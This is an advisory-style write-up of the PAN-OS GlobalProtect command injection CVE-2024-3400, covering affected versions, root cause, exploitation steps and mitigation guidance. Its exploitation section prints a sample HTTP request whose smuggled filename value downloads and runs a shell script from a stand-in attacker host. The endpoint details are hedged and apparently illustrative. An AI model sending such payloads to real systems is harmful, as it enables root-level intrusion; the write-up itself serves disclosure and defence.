CVE-2024-3400: Palo Alto PAN-OS Command Injection — Zero-Click RCE on Firewalls

TL;DR

An unauthenticated command injection in PAN-OS GlobalProtect gateway processing allowed remote attackers to achieve root-level code execution on firewalls without any user interaction. Exploited in the wild by UTA0218 (likely Chinese APT) for initial access into corporate networks, deploying Python backdoors.

Affected versions

PAN-OS versions with GlobalProtect gateway or portal enabled:

• PAN-OS 11.1: versions < 11.1.2-h3
• PAN-OS 11.0: versions < 11.0.4-h1
• PAN-OS 10.2: versions < 10.2.9-h1

Older PAN-OS versions (10.1, 10.0, and earlier) are NOT vulnerable. Cloud NGFW, Panorama, and Prisma Access are also not affected.

The vulnerability specifically impacts devices with GlobalProtect gateway or portal functionality enabled—even if not actively used for VPN. Approximately 82,000+ internet-facing PAN-OS management interfaces existed pre-disclosure, with thousands actively exploited during the April 2024 zero-day window.

Critically, default configurations with GlobalProtect enabled are vulnerable without any additional setup required.

Root cause

The vulnerability exists in the GlobalProtect feature's handling of crafted HTTP requests during the authentication/pre-login phase. GlobalProtect uses a web-based interface for VPN client authentication and configuration.

The specific flaw is in the processing of filename parameters within telemetry or configuration upload endpoints. PAN-OS uses these endpoints for:

• Client telemetry collection
• Configuration data upload
• Certificate/credential handling

The vulnerable code path:

1. GlobalProtect web interface receives HTTP POST request to specific endpoints (e.g., /ssl-vpn/hipreport.esp or similar telemetry endpoints)
2. Request contains attacker-controlled filename or path parameters
3. Server-side code constructs a shell command using unsanitized input
4. Command is executed via system() or similar shell invocation

Pseudo-code representation:

python copy
# Vulnerable code pattern
filename = request.get_parameter('filename')  # Attacker controlled
command = f"some_operation {filename}"  # Insufficient sanitization
os.system(command)  # Shell command injection

The injection point allows attackers to break out of intended command syntax using shell metacharacters (;, |, &&, etc.) and execute arbitrary commands.

Key factors making this severe:

• Unauthenticated: Exploitable before any authentication
• Pre-login: Affects the authentication phase itself
• Root privileges: Web server runs as root on PAN-OS
• No interaction: Zero-click exploitation

Exploitation primitive

Exploitation follows this pattern:

1. Discovery: Scan for PAN-OS GlobalProtect interfaces (identifiable by specific headers, SSL certificates, or response patterns)
2. Injection crafting: Send HTTP POST to vulnerable endpoint with malicious filename:

   code copy
   POST /ssl-vpn/hipreport.esp HTTP/1.1
   Host: target-firewall.example.com
   Content-Type: application/x-www-form-urlencoded
   
   filename=legit.log;wget${IFS}http://attacker.com/shell.sh${IFS}-O${IFS}/tmp/x;sh${IFS}/tmp/x;

3. Command execution: Injected command executes with root privileges:
   • ${IFS} bypasses space filtering (Internal Field Separator)
   • Download second-stage payload
   • Execute backdoor/implant
4. Persistence: Observed attacker techniques:
   • Deploy Python-based backdoors in /tmp or /var/appweb/
   • Modify legitimate PAN-OS processes
   • Create cron jobs for persistence
   • Exfiltrate configuration (including VPN credentials, certificates)
5. Lateral movement: Use firewall as pivot point:
   • Access internal networks
   • Capture VPN credentials
   • Modify security policies
   • Monitor decrypted traffic

Real-world exploitation by UTA0218 (April 2024):

• Deployed Python reverse shells named to blend with system files
• Extracted GlobalProtect configurations and certificates
• Used compromised firewalls for C2 infrastructure
• Targeted defense, government, and technology sectors

Exploits were public within 48 hours of disclosure, with mass scanning beginning immediately.

Mitigation

Immediate actions (within 24 hours):

1. Patch immediately: Upgrade to fixed versions:

   • PAN-OS 11.1.2-h3 or later
   • PAN-OS 11.0.4-h1 or later
   • PAN-OS 10.2.9-h1 or later

2. Threat detection (if patching delayed):

   • Check for IoCs from Palo Alto's threat assessment:

     bash copy
     # Check for suspicious files
     find / -name '*hipreport*' -mtime -30
     find /tmp /var/appweb /var/cores -name '*.py' -o -name '*.elf'
     # Review web logs
     grep -i 'hipreport.esp' /var/log/pan/http*.log

   • Look for outbound connections from management interface
   • Review command history and cron jobs

3. Temporary workarounds (if immediate patching impossible):

   • Enable Threat Prevention subscription (mitigates exploitation)
   • Restrict management interface access to trusted IPs only
   • Disable external access to GlobalProtect portal/gateway if not required
   • Deploy external WAF rules blocking suspicious patterns

4. Incident response:

   • Assume breach if vulnerable during April 12-22, 2024
   • Rotate all credentials accessible from firewall (VPN, admin, certificates)
   • Review firewall logs for unauthorized policy changes
   • Audit all internal systems for lateral movement indicators

5. Long-term hardening:

   • Implement zero-trust access to management interfaces
   • Deploy separate, non-PAN-OS device for VPN termination at network edge
   • Enable all PAN-OS security features (Threat Prevention, WildFire)
   • Implement EDR monitoring on security infrastructure where possible
   • Regular vulnerability scanning and patch compliance monitoring

This vulnerability demonstrates the critical risk of network security appliances as single points of failure—compromise grants attackers complete network visibility and access.